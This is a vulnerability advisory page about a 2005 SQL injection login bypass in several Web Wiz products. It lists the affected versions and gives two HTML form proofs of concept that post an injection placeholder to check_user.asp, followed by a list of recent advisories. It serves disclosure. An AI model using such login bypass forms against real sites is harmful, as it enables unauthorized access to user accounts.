exploits , vulnerabilities , articles , Web Wiz Multiple Products SQL Injection Vulnerability

Title	Web Wiz Multiple Products SQL Injection Vulnerability
Published	2005-12-30-12:00AM
Updated	2005-12-30-04:27PM
Class	Input Validation Error
CVE	CVE-MAP-NOMATCH
Remote	Yes
Local	No
Credit	Discovered by DevilBox of KAPDA.
Vulnerable	Web Wiz Site News Access 97 3.0 6 Web Wiz Site News Access 2000 3.0 6 Web Wiz Polls Access 97 3.0 6 Web Wiz Polls Access 2000 3.0 6 Web Wiz Journal Access 97 1.0 Web Wiz Journal Access 2000 1.0 Web Wiz Database Login Access 97 1.71 Web Wiz Database Login Access 2000 1.71
Not Vulnerable
Code	An exploit is not required. The following proof of concept example is available: <html> <h1>WebWiz Scripts Login Bypass PoC - site news , journal , weekly poll - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://www.example.com/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html> <html> <h1>WebWiz Login Bypass PoC - Database login - Kapda `s advisory </h1> <p> Discovery and exploit by devil_box [at} kapda.ir</p> <p><a href="http://www.kapda.ir/"> Kapda - Security Science Researchers Institute of Iran</a></p> <form method="POST" action="http://www.example.com/[product]/check_user.asp"> <input type="hidden" name="txtUserName" value="[SQL INJECTION]"> <input type="hidden" name="txtUserPass" value="1"> <input type="submit" value="Submit" name="submit"> </form></html>
TXT

Vulnerabilities - newest 10 RSS | More

2008-12-04 Jbook SQL Injection Vulnerability
2008-12-04 SquirrelMail Malformed HTML Mail Message HTML Injection Vulnerability
2008-12-04 HP-UX Unspecified Local Denial Of Service Vulnerability
2008-12-04 Netrw Vim Script Information Disclosure Vulnerability
2008-12-04 Sun Java Web Start and Java Plug-in Multiple Privilege Escalation Vulnerabilities
2008-12-03 Adobe Acrobat 9 Unspecified PDF Document Encryption Weakness
2008-12-03 Ocean12 Mailing List Manager Gold SQL Injection and Cross Site Scripting Vulnerabilities
2008-12-03 IBM Rational ClearQuest Maintenance Tool Local Information Disclosure Vulnerability
2008-12-03 VMware Products Unspecified Host Memory Corruption Vulnerability
2008-12-03 IBM Rational ClearQuest Web Multiple Unspecified Cross Site Scripting Vulnerabilities